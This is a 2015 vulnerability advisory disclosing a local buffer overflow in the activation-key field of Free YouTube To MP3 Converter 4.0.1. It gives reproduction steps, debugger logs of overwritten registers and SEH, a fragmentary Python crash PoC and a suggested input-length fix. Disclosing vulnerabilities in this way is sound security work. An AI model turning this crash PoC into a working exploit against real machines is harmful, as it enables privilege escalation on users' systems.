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FreeYouTubeToMP3 Converter 4.0.1 - Buffer Overflow Vulnerability
Oct 09 2015 11:59AM
Vulnerability Lab (research vulnerability-lab com)
FreeYouTubeToMP3 Converter 4.0.1 - Buffer Overflow Vulnerability
Vulnerability Laboratory ID (VL-ID):
Common Vulnerability Scoring System:
Product & Service Introduction:
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Abstract Advisory Information:
An independent vulnerability laboratory researcher discovered a local buffer overflow vulnerability in the official Free Youtube To MP3 Converter v4.0.1 software.
Vulnerability Disclosure Timeline:
2015-10-06: Public Disclosure (Vulnerability Laboratory)
Product: Free YouTube to MP3 Converter - Software (Windows) 220.127.116.111
Technical Details & Description:
A classic buffer overflow vulnerability has been discovered in the official Free Youtube To MP3 Converter v4.0.1 software.
The local vulnerability allows to overwrite the registers of the software process to compromise the target computer system.
The vulnerability is located in the `Go Menu > Tools > Options > Key Activation` module. Local attackers are able to include
malicious unicode payload as `key` value (input) to crash the software via buffer overflow. Local attackers are able to takeover
the system process by an escalate of privileges in the local target computer system. The windows version of the software is affected
by the vulnerability. The vulnerable input is located in the activation key module.
The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.2.
Exploitation of the vulnerability requires a low privilege system user account and no user interaction. Successful exploitation of the local
vulnerability results in system compromise by elevation of privileges via overwrite of the registers.
[+] Go Menu > Tools > Options > Key Activation
[+] Activation Key
Proof of Concept (PoC):
The security vulnerability can be exploited by local attackers with restricted account or system access and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Execute Free-YouTube-To-MP3-Converter.exe
2. Copy the AAAA...string from bof.txt to clipboard
3. Go Menu -> Tools -> Options
4. Paste it the input Activation Key AAAA....string click Activate
5. Software will Crash
6. Successful reproduce of the local buffer overflow vulnerability!
--- Debug Session Logs [WINDGB] ---
Access violation - code c0000005 (!!! second chance !!!)
eax=00316a30 ebx=41414141 ecx=41414141 edx=00000000 esi=00316a30 edi=00000000
eip=779071b4 esp=003169cc ebp=00316a1c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
779071b4 c3 ret
Invalid exception stack at 41414141
0:000> d 00319484
00319484 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00319494 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194a4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194b4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194c4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194d4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194e4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194f4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
001e6a5c 776db2e6 001e6a70 001e6ac0 00000000 ntdll!KiFastSystemCallRet
001e6d90 776b0844 41414141 fffffffe fffffffe ntdll!RtlRemoteCall+0x236
001e6de0 7763f9be 41414141 0000004d 001e94b4 ntdll!EtwSetMark+0x14bea
001e6e60 77667117 001e6e78 001e6e94 001e6e78 ntdll!RtlGetGroupSecurityDescriptor+0x2b2
001e9334 41414141 41414141 41414141 41414141 ntdll!KiUserExceptionDispatcher+0xf
001e9338 41414141 41414141 41414141 41414141 0x41414141
buffer = "\x41"*8538
seh = "\x42"*12
file = open("bof.txt","w")
print "POC Created by ZwX"
print " Email: msk4 (at) live (dot) fr [email concealed]"
Solution - Fix & Patch:
The solution could be to restrict and filter the number of characters on input of the activation key.
The security risk of the local buffer overflow vulnerability in the software core is estimated as high. (CVSS 7.2)
Credits & Authors:
ZwX - (http://zwx.fr/) [ http://www.vulnerability-lab.com/show.php?user=ZwX ]
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